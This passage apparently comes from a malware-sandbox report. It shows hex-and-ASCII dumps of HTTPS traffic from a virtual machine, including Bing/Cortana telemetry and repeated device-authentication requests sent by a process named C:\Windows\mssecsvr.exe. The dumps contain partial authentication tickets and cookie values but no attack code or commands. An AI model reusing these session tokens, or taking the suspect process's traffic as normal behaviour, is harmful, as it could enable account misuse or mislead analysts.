t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3D X-BM-CBT: 1660690402 X-Device-isOptin: true X-Device-Touch: false X-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: www.bing.com Content-Length: 63805 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2
2022-12-22 09:03:38 UTC	175	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 34 37 63 64 64 34 30 30 30 64 38 37 34 38 38 37 61 62 66 37 66 34 37 37 61 36 64 65 36 66 66 63 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.ClientInst</T><IG>47cdd4000d874887abf7f477a6de6ffc</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,Ambie
2022-12-22 09:03:38 UTC	191	OUT	Data Raw: 2f 2d 31 2f 40 76 2f 40 75 2f 40 75 2f 40 75 2b 40 77 2f 38 2f 64 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 25 32 46 64 39 66 62 30 34 66 31 2d 62 66 62 30 2d 34 36 39 35 2d 62 62 65 34 2d 30 39 62 34 30 31 65 35 35 33 34 64 2f 40 72 2f 61 2f 40 73 2f 40 77 2f 2d 31 2f 40 77 2f 40 75 2f 40 75 2f 40 75 2b 70 32 75 2f 39 2f 2f 40 64 2f 40 78 2f 40 66 2f 31 2f 40 67 2f 40 79 2f 2d 31 2f 40 79 2f 40 79 2f 40 79 2f 40 79 2b 40 7a 2f 61 2f 6e 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 25 32 46 36 31 38 34 30 63 64 33 2d 62 64 33 32 2d 34 36 62 32 2d 62 37 61 33 2d 61 63 34 65 36 36 61 30 39 38 65 32 2f 40 72 2f 37 2f 40 73 2f 40 7a 2f 2d 31 2f 40 7a 2f 40 31 30 2f 40 31 30 2f 40 31 30 2b 40 31 31 2f 62 2f 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 25 32 46 61 64 Data Ascii: /-1/@v/@u/@u/@u+@w/8/d//www.bing.com%2Fd9fb04f1-bfb0-4695-bbe4-09b401e5534d/@r/a/@s/@w/-1/@w/@u/@u/@u+p2u/9//@d/@x/@f/1/@g/@y/-1/@y/@y/@y/@y+@z/a/n//www.bing.com%2F61840cd3-bd32-46b2-b7a3-ac4e66a098e2/@r/7/@s/@z/-1/@z/@10/@10/@10+@11/b///www.bing.com%2Fad
2022-12-22 09:03:38 UTC	207	OUT	Data Raw: 33 32 32 30 37 31 35 30 2c 22 52 54 53 22 3a 31 31 30 34 31 38 30 34 35 31 37 2c 22 53 45 51 22 3a 34 2c 22 55 54 53 22 3a 31 36 37 31 37 33 32 32 31 37 33 37 34 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 36 37 31 37 33 32 32 30 37 31 35 30 3c 2f 54 53 3e 3c 2f 45 3e 3c 2f 45 76 65 6e 74 73 3e 3c 47 72 6f 75 70 3e 3c 4d 3e 3c 49 47 3e 34 37 63 64 64 34 30 30 30 64 38 37 34 38 38 37 61 62 66 37 66 34 37 37 61 36 64 65 36 66 66 63 3c 2f 49 47 3e 3c 44 53 3e 3c 21 5b 43 44 41 54 41 5b 5b 7b 22 54 22 3a 22 44 2e 41 67 67 72 65 67 61 74 6f 72 22 2c 22 53 65 72 76 69 63 65 22 3a 22 41 75 74 6f 53 75 67 67 65 73 74 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 41 67 67 72 65 67 61 74 6f 72 22 2c 22 41 70 70 4e 53 22 3a 22 53 6d 61 72 74 53 65 61 72 63 68 22 2c 22 44 53 Data Ascii: 32207150,"RTS":11041804517,"SEQ":4,"UTS":1671732217374}...</D><TS>1671732207150</TS></E></Events><Group><M><IG>47cdd4000d874887abf7f477a6de6ffc</IG><DS><![CDATA[[{"T":"D.Aggregator","Service":"AutoSuggest","Scenario":"Aggregator","AppNS":"SmartSearch","DS
2022-12-22 09:03:38 UTC	223	OUT	Data Raw: 37 37 2d 30 32 45 37 2d 34 45 35 44 2d 42 37 34 34 2d 32 45 42 31 41 45 35 31 39 38 42 37 7d 5c 5c 63 6f 6d 65 78 70 2e 6d 73 63 22 2c 22 44 4e 61 6d 65 22 3a 22 43 6f 6d 70 6f 6e 65 6e 74 20 53 65 72 76 69 63 65 73 22 2c 22 41 70 70 4c 6e 63 68 22 3a 30 2c 22 41 72 67 73 22 3a 30 2c 22 4d 44 4e 22 3a 30 2c 22 45 78 74 22 3a 22 2e 6d 73 63 22 7d 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 31 2e 32 35 32 35 37 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 31 22 3a 31 2c 22 37 22 3a 31 37 39 32 37 2c 22 38 22 3a 31 2c 22 31 30 22 3a 34 2c 22 31 33 22 3a 31 2c 22 31 36 22 3a 39 35 36 39 2c 22 31 39 22 3a 31 2c 22 34 32 22 3a 31 2c 22 38 33 22 3a 31 2c 22 31 33 34 22 3a 31 34 2c 22 31 33 35 22 3a Data Ascii: 77-02E7-4E5D-B744-2EB1AE5198B7}\\comexp.msc","DName":"Component Services","AppLnch":0,"Args":0,"MDN":0,"Ext":".msc"},"RankerSignals":{"rankingScore":1.25257,"featureStore":{"1":1,"7":17927,"8":1,"10":4,"13":1,"16":9569,"19":1,"42":1,"83":1,"134":14,"135":
2022-12-22 09:03:38 UTC	237	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3763114E39DB4D79831680910B1DAE4D Ref B: FRA31EDGE0508 Ref C: 2022-12-22T09:03:38Z Date: Thu, 22 Dec 2022 09:03:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50342	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:57 UTC	237	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 37 64 37 38 38 31 35 34 37 65 36 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: 2987d7881547e61
2022-12-22 09:03:57 UTC	237	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:03:57 UTC	238	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 37 64 37 38 38 31 35 34 37 65 36 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 48 Data Ascii: ATH 2 CON\DEVICE 1025Context: 2987d7881547e61<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38IcH
2022-12-22 09:03:57 UTC	239	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 38 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 38 37 64 37 38 38 31 35 34 37 65 36 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 28Context: 2987d7881547e61
2022-12-22 09:03:57 UTC	239	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:03:57 UTC	239	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 50 32 4b 48 43 31 62 48 30 36 30 57 76 69 34 64 71 6f 65 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HP2KHC1bH060Wvi4dqoeLQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	50405	20.90.152.133	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:04:00 UTC	239	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 31 37 35 65 36 66 32 61 38 35 62 35 62 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 71175e6f2a85b5b3
2022-12-22 09:04:00 UTC	239	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:04:00 UTC	239	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 31 37 35 65 36 66 32 61 38 35 62 35 62 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: 71175e6f2a85b5b3<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:04:00 UTC	240	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 31 37 35 65 36 66 32 61 38 35 62 35 62 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 71175e6f2a85b5b3
2022-12-22 09:04:00 UTC	240	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:04:00 UTC	240	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 64 59 4b 68 74 52 2b 2b 45 57 37 31 58 73 67 4f 38 4c 4b 46 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LdYKhtR++EW71XsgO8LKFQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	50576	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:04:09 UTC	240	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 31 65 66 31 31 30 30 33 38 33 33 34 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 791ef1100383341d
2022-12-22 09:04:09 UTC	240	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:04:09 UTC	240	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 31 65 66 31 31 30 30 33 38 33 33 34 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: 791ef1100383341d<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:04:09 UTC	241	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 39 31 65 66 31 31 30 30 33 38 33 33 34 31 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 791ef1100383341d
2022-12-22 09:04:09 UTC	242	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:04:09 UTC	242	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 4c 69 33 78 4f 6c 72 32 30 32 69 6d 61 48 4c 41 79 69 76 35 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9Li3xOlr202imaHLAyiv5Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	50962	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:04:25 UTC	242	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 62 32 63 62 61 34 32 63 30 34 36 62 65 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: c2b2cba42c046be7
2022-12-22 09:04:25 UTC	242	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:04:25 UTC	242	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 62 32 63 62 61 34 32 63 30 34 36 62 65 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: c2b2cba42c046be7<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:04:25 UTC	243	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 62 32 63 62 61 34 32 63 30 34 36 62 65 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: c2b2cba42c046be7
2022-12-22 09:04:25 UTC	243	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:04:25 UTC	243	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 57 70 6e 56 43 57 4e 58 45 71 49 6b 63 6f 34 35 71 6b 74 45 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tWpnVCWNXEqIkco45qktEQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	51525	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:04:42 UTC	243	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 39 31 64 38 39 36 64 61 37 62 62 34 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: a991d896da7bb400
2022-12-22 09:04:42 UTC	243	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
